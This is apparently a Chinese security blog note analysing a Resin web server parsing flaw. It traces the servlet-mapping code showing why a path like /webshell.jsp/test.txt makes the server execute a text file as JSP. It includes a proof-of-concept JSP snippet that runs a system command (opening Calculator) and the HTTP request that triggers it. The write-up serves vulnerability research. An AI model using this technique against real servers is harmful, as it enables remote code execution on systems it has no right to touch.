resin 解析漏洞
前言:resin的解析漏洞笔记
参考文章:https://blog.csdn.net/HBohan/article/details/121163220
解析漏洞
这里在com.caucho.server.webapp.WebApp#buildInvocation(com.caucho.server.dispatch.Invocation, boolean)打下断点
来到com.caucho.server.dispatch.ServletMapper#mapServlet,如下图所示,首先会对当前的ServletInvocation进行Servlet匹配

首先会进行com.caucho.server.dispatch.ServletInvocation#stripPathParameters进行过滤路径参数,也就是会过滤分号;和/之间的数据

再接着就是com.caucho.server.dispatch.UrlMap#map匹配对应的对应servlet接口

默认提供了4个,分别是如下所示,其中的jsp的matcher正则为^.*\.jsp(?=/)|^.*\.jsp\z
0 = {UrlMap$RegexpEntry@4485} "RegexpEntry[*.jsp]"
1 = {UrlMap$RegexpEntry@4588} "RegexpEntry[*.jspf]"
2 = {UrlMap$RegexpEntry@4602} "RegexpEntry[*.jspx]"
3 = {UrlMap$RegexpEntry@4616} "RegexpEntry[*.php]"

而对于请求路径为/webshell.jsp/test.txt是匹配成功的,匹配到的是/webshell.jsp

上面匹配到了后缀是jsp的,所以这边获取解析的servlet就是对应处理jsp的

在创建servletChain的时候,因为是jspservlet所以servletChain获取的是PageFilterChain



最终通过过滤链chain的时候,以PageFilterChain来进行解析jsp来对该test.txt文件来进行执行的

解析漏洞测试
目录结构

test.txt
<%
Runtime.getRuntime().exec("open -a Calculator.app");
%>
数据包
GET /t1/webshell.jsp/test.txt HTTP/1.1
Host: localhost:8080


浙公网安备 33010602011771号